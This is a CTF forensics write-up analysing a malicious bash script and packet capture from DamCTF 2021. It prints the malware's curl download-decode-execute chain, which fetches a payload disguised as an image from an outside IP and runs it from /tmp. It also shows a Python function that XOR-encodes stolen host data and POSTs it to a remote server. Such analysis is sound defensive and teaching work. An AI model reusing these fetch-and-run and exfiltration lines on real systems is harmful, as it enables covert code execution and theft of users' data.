DamCTF 2021
malware/sneaky-script (forensics/rev)
captainGeech
We recovered a malicious script from a victim environment.
Can you figure out what it did and if any sensitive information was exfiltrated?
We were able to export some PCAP data from their environment as well.
Downloads
files.zip
Given was a pcap file and a bash script.
-rwxr-xr-x 1 root root 516 5. Nov 05:35 mal.sh
-rwxr-xr-x 1 root root 2820244 5. Nov 05:35 evidence.pcapng
In the script they used curl to download just an image
curl 54.80.43.46/images/banner.png?cache=$(base64 <<< $mac_addr) -H "User-Agent: Mozilla/5.0 (Windows NT ...
but it was a base64 encoded python script
curl 54.80.43.46/images/banner.png?cache=$(base64 <<< $mac_addr) -H "User-Agent: Mozilla/5.0 (Windows NT ...
base64 -d > /tmp/.cacheimg
they stored it in tmp, executed it, and deleted it afterwards.
curl 54.80.43.46/images/banner.png?cache=$(base64 <<< $mac_addr) -H "User-Agent: Mozilla/5.0 (Windows NT ...
base64 -d > /tmp/.cacheimg
python3 /tmp/.cacheimg
rm -f /tmp/.cacheimg
So I wrote down the ip address 54.80.43.46
and because data tell you more than 1000 “pictures” I´ve opened my friend wireshark to have a look about that ip.
I´ve had a look about the communication to that target. And there I´ve found the next puzzle tile.
So copy paste and a base64 -d later:
I got a file with strange content:
So I ran a file command:
┌──(chris㉿kali)-[~/ctf/DamCTF]
└─$ file decode.txt 1 ⚙
decode.txt: python 3.6 byte-compiled
And found that it was a python file but precompiled.
It came to my mind, that maybe it´s a good idea to use a tool called uncomplye6
to get the source code of the file.
And with pip it was very easy to install.
At this time, I cannot remember in every detail about how I came to that solution:
Now I can finally have a look about what was the intention of the script:
Beside from:
get_net_info()
get_ssh()
get_users()
get_proc()
def send(data):
was the important part to find the flag.
In detail:
def send(data):
c = http.client.HTTPConnection('34.207.187.90')
p = json.dumps(data).encode()
k = b'8675309'
d = bytes([p[i] ^ k[(i % len(k))] for i in range(len(p))])
c.request('POST', '/upload', base64.b64encode(d))
x = c.getresponse()
We got another ip address to check with Wireshark.
This time it´s a
POST request to 34.207.187.90/upload
And again, following the TCP stream we got the next part:
This time it was not just base64 but XORed with
k = b'8675309'
side note: not needed for the flag:
The key seamed very familiar to me and so I can now also say “Jenny i´ve got your number”
https://www.youtube.com/watch?v=axLRUszuu9I
or if you like it also bit weirder:
https://www.youtube.com/watch?v=L8pKkpxD7ws&t=90s
And so, with a little help of the original script, it was easy to get the previously stolen data with the flag included:
decode.py
import array, base64
base64_message = "QxRZUEcSAxhtbBdfXxsUF.....shortened>
base64_bytes = base64_message.encode('ascii')
message_bytes = base64.b64decode(base64_bytes)
message = message_bytes.decode('ascii')
k = b'8675309'
d = bytes([message_bytes[i] ^ k[(i % len(k))] for i in range(len(message_bytes))])
print(d.decode('ascii'))
Result:
{"net": [["lo", "127.0.0.1"], ["ens33", "192.168.88.134"]], "proc": [["4725", "/usr/lib/systemd/systemd", "/lib/systemd/systemd --user "], ["4732", "/usr/bin/pulseaudio", "/usr/bin/pulseaudio --daemonize=no --log-target=journal "], ["4734", "/usr/libexec/tracker-miner-fs", "/usr/libexec/tracker-miner-fs "], ["4737", "/usr/bin/dbus-daemon", "/usr/bin/dbus-daemon –
….
"GNOME_TERMINAL_SCREEN": "/org/gnome/Terminal/screen/20a1c576_0ae5_4a9f_9bed_162e06ba9032", "INVOCATION_ID": "b5c7562742e44663aa23b8d7ef58d4b7", "MANAGERPID": "4725",
"FLAG": "dam{oh_n0_a1l_muh_k3y5_are_g0n3}",
"GJS_DEBUG_OUTPUT": "stderr", "LESSCLOSE": "/usr/bin/lesspipe %s %s", "XDG_SESSION_CLASS": "user", "TERM":
Flag: dam{oh_n0_a1l_muh_k3y5_are_g0n3}